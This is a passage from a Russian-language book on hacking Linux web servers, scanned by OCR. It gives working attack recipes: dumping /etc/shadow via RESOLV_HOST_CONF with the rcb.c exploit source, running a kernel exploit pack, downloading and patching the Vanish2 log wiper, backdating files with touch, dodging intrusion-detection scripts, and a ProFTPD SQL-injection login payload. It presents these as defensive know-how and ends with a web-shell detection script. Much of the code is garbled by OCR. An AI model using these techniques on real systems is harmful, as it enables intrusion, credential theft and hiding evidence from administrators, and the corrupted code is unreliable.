указанием полного пути (например, /bin/su) позволяет не бояться подобных троянов. Неплохо периодически с помощью команды echo $PATH проверять содержимое переменной $РАТН на предмет появления новых странных каталогов. Еще одна интересная ситуация, когда хакер с помощью эксплойта регулярно получает права root, но хочет узнать пароль суперпользователя. Хэш при этом «неломаемый», по-видимому, пароль длинный и сложный. Но он замечает (по файлу bash_history), что в систему довольно часто заходит другой пользователь и регулярно выполняет команду su. Просмотрев список путей к исполняемым файлам, как уже говорилось, с помощью команды echo SPATH, хакер замечает, что
136 0D. Повышение привилегий Рис. 0D.2. Использование троянской программы su каталог /sbin/su предшествует в списке каталогу /bin/su, а значит, будет просматриваться первым. То есть, если хакер поместит в /sbin/su троянскую программу su, он имеет все шансы заполучить в текстовом виде пароль суперпользователя, из скольких бы символов он ни состоял (да хоть из 15!) и какими бы разнообразными они ни были. Остается только ждать и регулярно «проверять капканы». Троянская программа su может распознаваться некоторыми антивирусами, так что хакер старается так изменить программу, чтобы антивирус ее не видел. Я иногда удивляюсь тому, какой бред можно встретить на сайтах, посвященных программному обеспечению для борьбы со шпионскими программами. Например, на страничке http://www.spywaredb.com/remove-su-trojan-ribbed/ я нашел следующую информацию (на английском): Su trojan ribbed является одной из троянских шпионских программ. Обнаружение этой программы на вашем компьютере означает, что ваш компьютер заражен трояном и критические данные могут быть в опасности или даже утрачены. Чтобы удалить Su trojan ribbed автоматически, загрузите Spyware Doctor. Чтобы удалить трояна Su trojan ribbed вручную, удалите файл su.c.txt. Особенно меня умилило расширение .txt ©. Если вы помните, мы нигде не упоминали файл su.c.txt. Да и удалять надо не исходный текст трояна (его обычно удаляет сам хакер, чтобы не вызвать подозрений), а поддельный исполняемый файл su. А если он уже сам удалился, надо искать подозрительные скрытые файлы в каталоге /tmp и записывать туда неверный пароль в надежде, что хакер еще не успел эти файлы просмотреть. А верно здесь только то, что система действительно скомпрометирована, то есть хакер уже знает пароль как минимум одного
Повышение привилегий 137 законного пользователя. Поэтому надо принимать неотложные меры по смене всех паролей, обнаружению и закрытию путей вторжения, а не просто удалять один файл. И никакой чудесный «Spyware Doctor» не поможет, решение этой проблемы — работа для антихакера. А единственное назначение таких пугающих сообщений на сайтах производителей программ — «впарить» свой продукт доверчивым потребителям. А как посмотреть содержимое файла /etc/shadow или другого файла, не обладая правами root? Есть один весьма древний способ. Вряд ли он будет работать на современных машинах, но я приведу его здесь просто для информации, чтобы вы подивились изобретательности хакеров. Используемая в системе версия 1 ibc должна иметь маркировку 5.4.7. Также должен существовать один из перечисленных файлов с установленным битом suid: ping, traceroute, rlogin или ssh. 1. Введите в командной строке команду bash, чтобы запустить оболочку bash. 2. Введите следующую команду: export RESOLV_HOST_CONF=/etc/shadow 3. Введите одно из перечисленных имен файлов и после него какие-нибудь буквы, например «asdf»: ping asdf Если этот прием сработает, на экран будет выведено содержимое файла /etc/ shadow. Вы можете заменить его любым другим файлом, права на который принадлежат пользователю root. У меня в DVL этот трюк не сработал — нужен какой- нибудь древний дистрибутив Linux. Суть метода в Интернете не объясняется, но для немного знающего администрирование и английский язык она представляется довольно очевидной. Команда ping и остальные перечисленные здесь программы (traceroute, rlogin, ssh) работают с хостами в Интернете, и в переменную окружения RES0LV_H0ST_C0NF, отвечающую, по-видимому, за разрешение имени хоста, вводится не имя файла конфигурации, а имя /etc/shadow. В результате, если выполняется команда для несуществующего хоста (asdf), программа выводит на экран содержимое файла, указанного в переменной RES0LV_H0ST_C0NF. Приведу небольшую хакерскую программу rcb.c, эксплуатирующую данную уязвимость: /* RCB Phraser - therapy in '96 * Limits: Linux only, no binary files. * little personal message to the world: F*CK CENSORSHIP! */ #include <stdio.h> void getjunk(const char *filetocat) { setenv("RES0LV_H0ST_C0NFH.filetocat,1): systemC'ping xy 1> /dev/null 2> phrasing"): unsetenv("RES0LV_H0ST_C0NF"); продолжение &
138 0D. Повышение привилегий void main(argc.argv) int argc; char **argv; { char buffer[200]; char *gag; FILE *devel; if((argc==l) || !(strcmp(argv[l],,,-h")) || !(strcmp(argv[l]."--help"))) { printfC'RCB Phraser - junked by THERAPY\n\rf); printfC"Usage: *s [NO OPTIONS] [FILE to cat]\n\n\argv[0]): exit(l); } getjunk(argv[l]); gag=buffer; gag+=10; devel=fopen("phrasing"."rb"); while(!feof(devel)) { fgets(buffer.sizeof(buffer).devel); if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24,"\n"); fputs(gag.stdout); } } fclose(devel); remove("phrasing"): } В командной строке надо вводить команду rcb /etc/shadow Вместо /etc/shadow можно ввести имя другого файла в системе, который вы не можете прочитать. Для систем Linux с версией ядра ниже 2.6.7-гсЗ (которая является уже достаточно старой, но все еще может встретиться где-то в Интернете) существует эксплойт Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit, меняющий групповую принадлежность любого файла, например /etc/passwd, так, что его может посмотреть непривилегированный пользователь. Эксплойт появился в 2004 году, автор Marco Ivaldi, текст его можно найти по адресу http://www.exploit-db.com/ exploits/718/. Что делать хакеру, если ему так и не удается получить права root в системе? Он не забрасывает систему насовсем, а запоминает информацию о ней (только ни в коем случае не делает записей на бумаге!), чтобы потом, когда выйдут новые эксплойты, попробовать снова. Хакер старается не слишком «светиться» в этой системе, потому что каждое его посещение оставляет запись в системных журналах. И когда законный пользователь войдет в систему, он увидит сообщение: last login from xxx.com time:0:00 date:xx/xx/xx. Это сообщение выдает IP-адрес или имя сайта, с которого хакер в последний раз заходил в систему. Чтобы немного успокоить пользователя, хакер может после
Как защититься от эксплоитов уровня ядра 139 входа выполнить команду ssh local host и снова войти в систему с локального хоста. Тогда при следующем входе пользователь увидит следующее сообщение, почти не вызывающее подозрений: last login from localhost Это — простейший прием скрытия следов вторжения, о более сложных мы поговорим в следующей главе. Как защититься от эксплоитов уровня ядра Вслед за опытными системными администраторами могу посоветовать только одно: регулярно тестируйте свою систему на уязвимость новейшими публичными эксплойтами. Намного лучше, если тестироваться будет не сама рабочая система, а ее точная копия (на реальном компьютере или под виртуальной машиной). Это позволит предотвратить потерю данных или простои системы в случае нештатной работы эксплойта. И в случае обнаружения уязвимости немедленно применяйте патчи, обновляйте версию ядра. Сейчас я продемонстрирую вам образец такого усиленного тестирования на примере Back Track 4. Запустите виртуальную машину с этим дистрибутивом. Не забудьте включить сетевые службы командой консоли: /etc/init.d/networking start Далее переключитесь командой su на любого непривилегированного пользователя, к примеру, вот так: su nobody Перейдите в каталог /tmp и скачайте сборник новейших эксплоитов с сайта www. grsecurity.net (рис. 0D.3): wget www.grsecurity.net/~spender/enlightenment.tgz Этот набор программ предназначен специально для пентестинга (pentesting, от penetration testing — тестирование на проникновение). Чтобы системный администратор — как правило, весьма занятой человек — не тратил время на поиск и компиляцию отдельных эксплоитов, здесь все собрано «в одном флаконе», компилируется автоматически, запускается через меню. Распакуйте архив: tar -xzvf enlightenment.tgz Затем перейдите в соответствующий каталог и запустите командный файл: cd en* ./run_nul1_exploi ts.sh Чтобы не набирать длинное имя каталога, я здесь использовал глоббинг (glob- bing) — в имени каталога указал только первые символы, а вместо остальных поставил звездочку. Если глоббинг в системе разрешен и начало имени каталога уникально, команда cd сразу перейдет в нужный каталог.
140 0D. Повышение привилегий Рис. 0D.3. Скачивание, распаковка и запуск пакета эксплоитов Меню, появляющееся после запуска командного файла, включает в себя 7 эксплоитов, работающих с ядрами вплоть до версии 2.6.31 (рис. 0D.4). Рис. 0D.4. Меню выбора эксплойта
Как защититься от эксплойтов уровня ядра 141 Последовательно протестируйте вашу систему на предмет устойчивости к различным эксплойтам. У меня ядро версии 2.6.30 «сдалось» эксплойту MooseCox под номером 1 (рис. 0D.5). Рис. 0D.5. Успешное использование эксплойта MooseCox Сам по себе процесс такого тестирования увлекателен, а случайно выбранные высказывания мировых классиков (Сартра и Достоевского, Ницше и Шопенгауэра), появляющиеся на экране при каждом запуске эксплойта, дают дополнительную пищу для размышлений. Записывайте себе на листочке или в Блокноте результат тестирования для каждого из эксплойтов. Когда опробуете все семь, дополнительно запустите еще пару эксплойтов: ./runjionnull_exploits.sh Как вы, возможно, догадались из названия файла, эти эксплойты не работают с нулевой страницей памяти, в отличие от примененных чуть ранее. По завершении тестирования еще раз отметьте те эксплойты, к которым система оказалась неустойчивой. О чем нам говорит результат нашего тестирования? О том, что администратору необходимо обновить ядро до более нового, например до 2.6.34, поскольку оно, к счастью, в списке эксплойтов пока не присутствует. Но не следует обольщаться «магией цифр» — иногда эксплойт, предназначенный для определенной версии ядра, может успешно отработать и на другой системе. Упоминания об этом встречаются на хакерских сайтах. А о вредности непроверенных предположений у англичан даже есть такая современная поговорка: «'Assume'
142 0D. Повышение привилегий makes an ass out of u and me». Переводить не буду, пусть знатоки английского оценят игру слов. Так что все надо тестировать своими руками, и после обновления версии ядра снова протестировать его на живучесть, обращая особое внимание на те эксплойты, которые успешно сработали в первый раз. Аналогичным образом можете протестировать дистрибутив Damn Vulnerable Linux, и для него в подборке найдется работающий эксплойт (отличный от того, что мы использовали в начале главы).
Сокрытие следов присутствия Одна из самых необходимых утилит на захваченной машине — чистильщик лог-файлов, называемый еще логвайпером (log wiper). Пока хакер взламывает веб-сайт, он оставляет множество следов в журналах (логах) веб-сервера. Кроме того, входя в систему как определенный пользователь, он постоянно оставляет следы в системных журналах. Чтобы скрыть следы своего присутствия, хакеру неплохо было бы эти файлы подчистить. Естественно, воспользоваться услугами логвайпера можно только в случае, если у хакера есть права суперпользователя (root), так как доступ на запись к системным журналам для всех остальных пользователей закрыт. Чтобы полюбоваться следами взлома в логах сервера Apache, откройте в редакторе файл /usr/local/apache/logs/access_log. Вы увидите много интересного (рис.0Е.1). 127.0.0.1 - - [15/Jun/2ei0:23:00:35 4-0000] "GET /ay. php?page«. /../../../.. /. ./etc/passwAOO HTTP/1.1" 2GG 715 127.0.0.1 - - [15/Jun/2010:23:4S:52 4-0000] "GET /ay.php?page«./../../../../../etc/shadow%00 HTTP/1.1" 200 483 127.0.0.1 - - {15/Jun/2010:23:53:40 4-0000] "GET /ay.php'page»./../../../../../etc/pas$wd%00 HTTP/1.1" 200 715 127.0.0.1 - - [15/Jun/2010:23:53:47 4-0000] "GET /ay.php?page*./../../../../../etc/passwd HTTP/1.1" 200 499 127.0.0.1 - - [16/Jun/2010:00:23:2B 4-0000] "GET /ay.php?page«./../../../../../etc/passwd%00 HTTP/1.1" 200 715 127.0.0.1 - - [16/Jun/2010:01:20:13 4-0000] "GET /cad.php?cad=ls.php HTTP/1.0" 200 26 127.0.0.1 - - [16/Jun/2010:01:20:13 4-0000] "GET /inj.php?page»http://localhost/cad.php?cad«ls HTTP/1.1" 200 3B 127.0.0.1 - - [16/Jun/2010:Q1:20:37 4-0000] "GET /cad.php?cad=ls HTTP/1.0" 200 164 127.0.0.1 - - [16/Jun/2Q10:01:2G:37 4-0000] "GET /inj.php?page-http://localhost/cad.php?ced*ls*00 HTTP/1.1" 200 176 127.0.0.1 - - [16/Jun/2010:01:21:39 4-0000] "GET /cad.php?cad=ls HTTP/1.0" 200 173 127.0.0.1 - - [16/Jun/2010:01:21:39 4-0000] "GET /inj.php?page-http://localhost/cad.php?cad«\s HTTP/1.1" 200 185 127.0.0.1 - - [16/Jun/2010:01:23:14 4-0000] "GET /cad.php?cad=ls HTTP/1.GH 200 123 127.0.0.1 - - [16/Jun/201O:O1:23:14 4-0000] "GET /inj.php?page-http://localhost/cad.php?cad»ls HTTP/1.1" 200 135 Рис. 0Е.1. Следы хакерской деятельности в журнале accessjog Многие хакерские сайты рекомендуют использовать логвайпер Vanish2, написанный хакером по кличке Neo The Hacker. Загрузить архив с исходным кодом можно отсюда: http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz 0Е
144 0Е. Сокрытие следов присутствия Эта программа чистит файлы WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, warn, mail, httpd.access_log, httpd.error_l.og. Основное внимание следует обратить на чистку журналов messages, secure и httpd.access_.log. С этой задачей Vanish2 справляется хорошо. Также сильной стороной чистильщика является отсутствие временных файлов после работы. Они создаются на время чистки, но удаляются по ее завершении. Перейдем в каталог /tmp и скачаем файл с архивом: wget -0 vanish2.tgz http://packetstormsecurity.org/UNIX/ penetrati on/1og-wi pers/vani sh2.tgz Затем нужно разархивировать загруженный файл: tar -xzvf vanish2.tgz Компилировать программу следует так: gcc vanish2.c -o vanish2 В моей системе (Damn Vulnerable Linux) компилятор выдал сообщение об ошибке, указав, что у функции exit недостаточно аргументов. Пришлось в редакторе заменить все вызовы функции exit() вызовами exit(O). После компиляции я запустил программу (рис. 0Е.2): vanish2 nobody local host 127.0.0.1 Рис. 0Е.2. Компиляция и запуск программы Vanish2 Журнал utmp почистился, а журнал wtmp не был найден. К сожалению, если Van- ish2 не находит какой-либо журнал, эта программа аварийно завершает работу и не чистит оставшиеся журналы. Прежде чем компилировать и запускать Van- ish2, найдите в своей системе все файлы журналов и пропишите правильные пути к ним в исходном тексте. Кроме того, можно попытаться так отредактировать исходный текст, чтобы программа продолжала работу в любом случае. Для этого перед каждым аварийным выходом exit(O), когда не найден очередной файл журнала, нужно поставить символы комментария, вот так: // exit(O): Путь к журналам access_log и error_log мне пришлось изменить. После этого программа отработала, как показано на рис. 0E.3. Журнал access_log, например,
Сокрытие следов присутствия 145 очистился полностью, потому что к нашему сайту доступ осуществлялся только с адреса 127.0.0.1. В реальной жизни из него удаляются только записи с IP- адресом хакера, множество же других записей остается. Таким образом, администратор не сможет узнать, кем, когда и как именно был взломан его сервер. Рис. 0E.3. Результат работы подправленной программы Vanish2 Пожалуй, единственный недостаток Vanish2 — скорость работы. По информации сайта hacker-pro, в ходе тестирования этой программы полная очистка двухнедельных логов сервера заняла около 10 минут. Другие чистильщики лог-файлов вы можете найти по адресу http://packetstorm- security.org/UNIX/penetration/log-wipers/. Но что делать, если хакеру не удалось получить привилегии root в системе, в которую он иногда заходит под видом законного пользователя? Последние входы пользователей системный администратор легко может просмотреть командой last. Чтобы не оставлять компрометирующих следов в журналах utmp и wtmp, хакеры рекомендуют для входа задействовать программу ssh с параметром -Т (если в систему разрешен вход пользователей без выделения псевдотерминала). В этом случае псевдотерминал не создается, соответственно, не создается и запись в этих журналах. В программе PuTTY под Windows тоже есть аналогичная опция, устанавливаемая на вкладке SSH > TTY (Don't allocate a pseudo-terminal). Но об этом мало кто знает. Если хакер редактирует в системе какие-то файлы, он запоминает время их создания, а потом, после изменения файлов, использует команду touch с опцией -t, чтобы вернуть прежнее время их создания. Формат команды следующий: touch -t ГГГГММДДЧЧММ[.сс] имя_файла(или каталога) Здесь ГГГГ — год, ММ — месяц, ДД — день, ЧЧ — часы, ММ — минуты. В квадратных скобках указан необязательный параметр — секунды. Также, если хакер создал новые файлы и каталоги, можно изменить время их создания более ранним, чтобы не вызвать подозрений. Например, чтобы изменить время создания файла
146 ОЕ. Сокрытие следов присутствия file.c на 27 июня 2009 23 часа 35 минут и 22 секунды, нужно ввести следующую команду: touch -t 200906272335.22 file.c К сожалению для хакера, эта команда не всегда разрешена для обычных пользователей.
Исследование системы Благодаря исследованию системы хакеру удается проникнуть в чужой компьютер, закрепиться в нем, повысить свои привилегии, проникнуть в другие системы. Исследовать систему хакеру нужно на всех этапах, но особенно результативно исследование после получения прав root, потому что тогда ему открывается доступ ко всем файлам и ко всем командам. Имея доступ к шеллу системы, хакер может сделать, например, следующее. Посмотреть, кто работает в системе в данный момент (командой w, или who) и кто входил в систему в последнее время (командой last). Чтобы узнать, когда входил в систему конкретный пользователь, применяется команда last имя_пользо- вателя. Можно также получить информацию об интересующем пользователе (командой finger). Если у хакера еще нет содержимого файлов /etc/passwd и /etc/shadow, он может получить его. Если файлы большие, можно их скопировать в каталог, доступный по протоколу FTP, а затем забрать оттуда. А если используется программа PuTTY, можно включить протоколирование, выбрав в меню команду Session > Logging (Printable Output). Тогда весь вывод консоли будет отправляться в файл журнала putty.log (или в другой, указанный хакером). Далее можно вывести содержимое файлов командой cat и после этого просмотреть это содержимое в файле журнала. Просмотр доступных файлов может натолкнуть хакера на новые мысли. Иногда могут существовать доступные для чтения всем пользователям копии старых файлов /etc/shadow (с именем типа /etc/shadow.old или просто shadow, но в другом каталоге). Если в системе для аутентификации пользователей применяется протокол LDAP, можно просмотреть каталог/usr/local/openldap/backup на предмет наличия копии базы данных LDAP в текстовом виде. В этой базе, помимо прочей информации о пользователях, находятся хэши паролей, дополнительно кодированные по алгоритму base64. Простой сценарий на языке Perl, описанный в главе ОС, поможет извлечь и раскодировать хэши паролей, после чего их можно взламывать при помощи программы John The Ripper. Историю вводимых пользователем команд хакер может изучать по файлу .bashjiis- tory. Особенно ему интересен этот файл в каталоге суперпользователя (root). Кроме того, хакер может исследовать файлы сценариев (с расширением .sh и т. п.). 0F
148 9F. Исследование системы В ходе исследования системы хакер изучает действия суперпользователя, смотрит, какие меры тот предпринимает для обнаружения вторжения хакеров. Для этого он ищет в домашнем каталоге root файлы и каталоги с именами hack, hacking, hacker, intruder и т. п. Например, название сценария наподобие check_intruder. sh говорит хакеру о том, что этот сценарий проверяет систему на возможные вторжения. Естественно, хакер внимательно изучает этот сценарий, чтобы не быть пойманным, и при необходимости слегка редактирует его, чтобы тот не обнаружил вторжение. Хакер обязательно просматривает файлы /etc/hosts и ssh/known_hosts, чтобы узнать, с какими хостами можно соединиться с данного компьютера. Пароль пользователя root на нескольких сайтах домена может быть одинаковым. А если п!ароль пользователя root неизвестен, но хакер получил права root при помощи эксплойта, он может просто применить для соединения с родственными хостами команду ssh: ssh root@other-host.net При этом на другом хосте должен быть разрешен вход суперпользователя с первой машины без пароля. Но чаще бывает немного иная ситуация — разрешен вход с использованием файлов ключей. Пример: ssh -i местоположение ключа root@other-host.net
Алгоритмы получения контроля над сервером Здесь мы рассмотрим некоторые алгоритмы проникновения хакера на сервер, основываясь на материале предыдущих глав. Для простоты я разделил все возможные ситуации на 3 большие группы (рис. 10.1). Сделаю некоторые пояснения к схеме. Под SQL-инъекцией понимаются как обычная, так и слепая инъекции. Использование XSS осталось за пределами схемы. Несмотря на то, что на схеме в качестве одной из целей указан дефейс сайта (или массовый дефейс сайтов), хакер обычно к данной цели не стремится по причине того, что его могут «вычислить» и перекрыть доступ к системе. Дефейс хакер выполняет только в том случае, если для других применений данная система его не интересует (непригодна). Теоретический пример случая почти полной непригодности системы: открыт только доступ по протоколу FTP, но по соображениям безопасности в РНР отключены все функции, отвечающие за выполнение команд системы (systemO, passthruO и shell_exec()), a perl- и python-сценарии не выполняются. Таким образом, хакер не может выполнить загруженный в систему веб-шелл, и дальнейшее проникновение через Web оказывается невозможным. Тем не менее систему все-таки можно использовать как промежуточное звено для хранения файлов, которые затем будут скачиваться на другие уязвимые системы. Отмечу, что самым «экологически чистым» способом является вход в систему от имени законного пользователя без создания псевдотерминала (там, где это возможно). Независимо от того, получил хакер права root или нет, он может годами сохранять доступ к данному компьютеру. Описанная схема, конечно, не может охватить всего богатства реальных ситуаций, но она дает вам некоторое представление о том, как хакер может проникнуть в систему и закрепиться в ней. Настоящий хакер всегда стремится не только получить доступ к системе, но и сохранить его на возможно более длительное время. 10
150 10. Алгоритмы получения контроля над сервером 1. Удаленный инклуд 2. Локальный инклуд 3. SQL-инъекция Удалось создать веб-шелл Загрузка бэк-коннект шелла Загрузка и успешное приминение эксплойта для получения прав root Удалось извлечь и расшифровать хзш пароля администратора сайта Если существует пользователь системы с тем же именем и паролем Вход от имени законного пользователя с использованием SSH или telnet Вход от имени законного пользователя по FTP Локальный взлом хэшей паролей пользователей, в том числе root Дефейс сайта Установка собственного прокси-сервера и т. д.... Массовый дефейс сайтов Скачивание ценной информации Рис. 10.1. Схема получения несанкционированного доступа к серверу через Web
Удаленные эксплойты Существует целый класс удаленных (remote) эксплойтов, использующих уязвимости различных сервисов. Они позволяют выполнять команды в удаленной системе или вызывать в ней отказ в обслуживании. Отличительной их особенностью является «заточенность» под конкретное наименование и версию демона (службы). То есть хакеру нужно быть уверенным, что на исследуемой системе установлена именно нужная версия службы. Хотя подробное изучение таких эксплойтов выходит за рамки темы данной книги, посвященной в основном веб- хакингу (то есть хакингу через веб-сайты), мы кратко рассмотрим удаленные эксплойты на простом примере — уязвимости ftp-сервера ProFTPD. Уязвимыми являются версии от 1.3.1 до 1.3.2 гс 2, а сама уязвимость заключается в возможности SQL-инъекции. Когда пользователь (обычно клиентская программа) соединяется с ftp-сервером (через порт 21), в ответ на приглашение системы нужно ввести имя пользователя: USER myuser Здесь myuser — это логин пользователя. На следующее приглашение системы нужно ввести пароль: PASS password Здесь password — это пароль пользователя myuser. В случае если имя пользователя и пароль верные, система предоставляет доступ по протоколу FTP (для просмотра каталогов, скачивания, загрузки и удаления файлов). Если вместо имени пользователя указать символ % и добавить следом SQL-запрос, можно извлечь данные из таблицы users (пользователи) и обойти аутентификацию, вместо действительного пароля введя просто цифру 1: USER %') and 1=2 union select l.l.uid.gid.homedir.shell from users: -- PASS: 1 После этого можно работать в системе от имени законного пользователя. Экс- плойт можно найти по адресу http://downloads.securityfocus.com/vulnerabilities/ exploits/33722.pl. Для запуска эксплойта достаточно выполнить команду в консоли: ./exploit.pl ftp.example.com и
152 11. Удаленные эксплойты Здесь ftp.example.com — адрес уязвимого сайта (префикс ftp указывает на использование протокола FTP). В случае если эксплойт успешно подключится, на экране появится меню команд: [*] Connected To ftp.example.com [!] Please Choose A Command To Execute On ftp.example.com : [1] Show Files [2] Delete File [3] Rename File or Dir [4] Create A Directory [5] Exit Enter Number Of Command Here => В свое время наделал много шума эксплойт, вышедший в октябре 2005 года под названием: «Linux-ftpd-ssl 0.17 (MKD/CWD) Remote Root Exploit». Через уязвимость определенной версии ftp-демона этот эксплойт позволял хакеру получить права суперпользователя в Linux. Существуют и совсем курьезные случаи, позволяющие с помощью удаленных эксплойтов получить права суперпользователя. Компания Sun выпустила операционную систему OpenSolaris на сменном носителе (Live CD). Если кто-то загрузится, использовав этот носитель OpenSolaris и при этом у него к компьютеру будет подключена сеть и доступен DHCP-сервер (что в наше время встречается очень часто), удаленные взломщики могут зайти на машину с логином jack и паролем jack и переключиться командой su на суперпользователя с помощью пароля opensolaris. Эта брешь была актуальна в 2008 году, и компания Sun обещала устранить ее в последующих выпусках. Чтобы противодействовать применению удаленных эксплойтов, многие системные администраторы удаляют из баннеров системных служб информацию о наименовании и версии демона либо изменяют эту информацию с целью обмануть хакеров.
Противодействие хакерам Многие меры противодействия были описаны ранее при изложении методов ха- керской атаки. Другие меры, не указанные явно, могут быть придуманы, исходя из описанных здесь действий хакеров. Антихакингу в Сети посвящена замечательная книга Эндрю Локхарта, «Антихакинг в сети. Трюки» (издательство «Питер», 2005 г.). Книга содержит ровно 100 профессиональных примеров защиты (трюков), касающихся как предотвращения вторжения, так и его обнаружения. Наши задачи значительно скромнее, поэтому я просто приведу текст сценария check.sh (который можно найти в Сети), проверяющего систему на вторжение через веб-сайты. Скрипт проверяет, имеются ли в каталогах веб-сайтов некоторые известные хакерские веб-шеллы, например r57shell, 99sh, void.ru, а также вызываются ли в файлах подозрительные PHP-функции, такие как shellexec, base64_decode и create_function. Сценарий записывает результаты проверки в файл /var/log/check.log, а в случае обнаружения чего-то подозрительного высылает письмо на адрес администратора сайта. Проверка в данном сценарии не является исчерпывающей, для реального применения можно еще многое добавить. Например, вместо функции shell exec, используемой для выполнения команд системы, хакерские веб-шеллы могут вызвать для той же цели функцию eval, system или passthru. Кроме того, должен быть расширен список известных веб- шеллов (cgitelnet, nfm и т. п.). #!/bin/bash if [ $# -It 1 ]; then echo "usage: $0 filejiame"; exit 0: fi RESULT=M" FILE="" for F in $( grep "\.php$" $1 ); do FIND=4echo $F | grep -c "\.php$"4 if [ "$FINDM == "0" ]; then if [ "$FILE" == "" ]; then FILE=$F else FILE-SFILE" "$F fi продолжение & IE
154 12. Противодействие хакерам else if [ "SFILE" — "" ]; then FILE=$F else FILE=$FILE" "$F fi Fl=7usr/"$FILE if [ -f "SFl" ]; then RE=4grep -c r57shell "SFl" if [ "SRE" != "0" ]; then RESULT=$RESULT"\nFIND possible hack file "$F1 fi RE=vgrep -c gzinflate "$F1" if [ "$RE" != "0" ]; then RESULT=$RESULT"\nFIND possible hack file "SFl fi RE=4grep -c 99sh "$F1" ч if [ "SRE" != "0" ]: then RESULT-$RESULT"\nFIND possible hack file "$F1 echo $FIND "SFILE" fi RE=4grep -c "\.void\.ru" "SFl" ч if [ "$RE" != "0" ]; then RESULT=$RESULT"\nFIND possible hack file "$F1 echo $FIND "SFILE" fi RE=4grep -c "shell_exec" "SFl" if [ "SRE" != "0" ]; then RESULT=$RESULTH\nshell_exec:FIND possible hack file "SFl echo SFIND "SFILE" fi RE=4grep -c "base64_decode" "SFl" if [ "SRE" != "0" ]; then RESULT=$RESULT"\nbase64_decode:FIND possible hack file "SFl echo SFIND "SFILE" fi RE=4grep -c "create_function" "SFl" if [ "SRE" != "0" ]; then RESULT=$RESULT"\ncreate_function:FIND possible hack file "SFl echo SFIND "SFILE" fi fi FILE="" fi done; FILE="" for F in $( grep "\.htaccess$" SI ); do FIND=xecho $F | grep -c "\.htaccess$,,x
Противодействие хакерам 155 if [ "$FIND" — "0м ]; then if [ "$FILE" — "" ]; then FILE=$F else FILE=$FILE" "$F fi else if [ "$FILE" == ,,и ]; then FILE=$F else FILE=$FILE" "$F fi # echo $FIND "$FILE" F1=$FILE if [ -f "$F1" ]; then RE-4grep -c "application/x-httpd-php" "$F1" ч if [ "IRE" != "0" ]; then RESULT-$RESULT"\nFIND possible hack file "$F1 fi fi FILE-"" fi done; FILE=,,M for F in $( grep "indexN.htmlSVIindexN.phpSXIindexV.htmS" $1 ); do FIND=4echo $F | grep -c "index\."4 if [ "SFIND" =- "0" ]; then if [ "$FILE" == ,,M ]; then FILE=$F else FILE-SFILE" "$F fi e if [ "SFILE" == ,,n ]; then FILE=$F else FILE»$FILE" "$F fi # echo $FIND "$FILE" F^Vusr/'^FILE if [ -f "$Fln ]; then RE»4grep -i -c "viagra" "$F1" v if [ "$RE" !- "0" ]; then RESUL>$RESULT"\nFIND possible hack file "$F1 fi fi FILE="" fi done; продолжение
156 12. Противодействие хакерам if [ "SRESULT" != "" ]; then echo -e 4dateN$RESULT » /var/log/check.log echo -e 4dateN$RESULT | mail -c sysadm@mysite.net -s "Red Alert! possible hack file on mysite.net" admin@mysite.net else echo -e xdate4" didn't find intruder." » /var/log/check.log fi
Реальные задачи ГГ-безопасности В этой главе я приведу несколько примеров, касающихся реальных жизненных ситуаций. Примеры будут достаточно простые, но они в определенной степени позволяют понять стиль мышления как хакера, так и специалиста по безопасности. Разумеется, я сам, будучи таким специалистом, никаких противозаконных действий не совершал, хотя иногда мне приходилось мысленно ставить себя на место хакера. Итак, пример первый. Использование инсайдерской информации для взлома пароля Инсайдер — это человек, работающий в компании и имеющий доступ к закрытой корпоративной информации. Иногда инсайдеры могут действовать в своих корыстных интересах или в интересах конкурирующей компании. В данном же случае инсайдером был я, но, как это ни парадоксально, я действовал в интересах своей (!) компании. В середине 1990-х я работал в крупном региональном коммерческом банке главным администратором в службе компьютерной безопасности, и к нам привезли в отдел программирования новую программу для больших машин (мэйнфреймов) фирмы «Юнисис». Эта программа (не помню названия, пусть будет «Лайна») предназначалась для работы с клиентами — физическими лицами, ее разработала одна небольшая прибалтийская компания (назовем ее условно ABF), которая являлась субсидиарием (subsidiary) фирмы «Юнисис». В то время для работы с юридическими лицами и для выполнения оптовых банковских операций на машинах фирмы «Юнисис» у нас уже давно использовалась другая программа, разработанная британским отделением «Юнисис», однако программа «Лайна» могла бы удачно ее дополнить. При этом наше руководство хотело оценить возможности новой программы, чтобы принять взвешенное решение о ее закупке (ибо программа была весьма дорогостоящая). Представители ABF и «Юнимас» (на тот момент — московский субсидиарий фирмы «Юнисис», и, согласно договору с банком, «Юнимас» занимался технической 13
158 13. Реальные задачи ГГ-безопасности и программной поддержкой) установили демо-версию этой программы в нашем банке, вошли под своим паролем и показали ее возможности нашим программистам в течение одного рабочего дня. Потом приезжие спецы вышли из программы «Лайна» и уехали в загородную гостиницу. Это был вечер пятницы, и нашим работникам захотелось посмотреть программу более подробно на выходных. Спросить пароль было не у кого (тогда сотовых телефонов у простых людей еще не было), а ждать до понедельника не хотелось. Как специалист по мэйнфреймам «Юнисис» я охотно вызвался помочь. Первой идеей было изменить саму программу. Программа была написана на языке 3-го поколения LINC II. Этот хитрый язык, плюс среда программирования, плюс средства работы с базой данных — все образца середины 1970-х. Сама программа создавалась программистами в среде LINC II, потом проводилась так называемая генерация — автоматическое создание текста на древнем языке КОБОЛ, а затем уже запускался компилятор языка КОБОЛ, чтобы получить исполняемую программу. По объектному коду не все машины «Юнисис» серии «А» совместимы, поэтому гости просто привезли исходные тексты на LINC II, скопировали их на нашу машину и запустили генерацию и последующую компиляцию... В саму среду разработки LINC II мне войти не удалось, поскольку, чтобы получить доступ к исходным текстам программы «Лайна», требовалась авторизация. Зато для меня, как пользователя с правами системного администратора, были доступны уже сгенерированные тексты на языке КОБОЛ. Оставалось найти и подправить то место, где осуществлялась авторизация пользователей программы «Лайна»: вместо условного перехода после успешного сравнения имени пользователя и пароля надо было вставить безусловный переход. Тогда, введя абсолютно любое имя пользователя и любой пароль, можно было без проблем попасть в программу. Я сделал необходимые изменения и запустил программу на компиляцию. Но программа была огромная, а машина — медленная, так что компиляция должна была занять пару-тройку часов. В ожидании результата я решил не сидеть сложа руки, а подумать, нельзя ли найти пароль быстрее. Сначала я нашел и просмотрел файл со списком пользователей программы «Лайна». Там было всего два пользователя: один — с прибалтийской фамилией, автор программы (это было указано в комментариях) и, насколько я знал, основатель и глава фирмы ABF, другой — со «скромным» именем UNISYS. Также там были зашифрованные пароли. Алгоритм шифрования (или, вероятнее, одностороннего хеширования) был мне неизвестен, а в 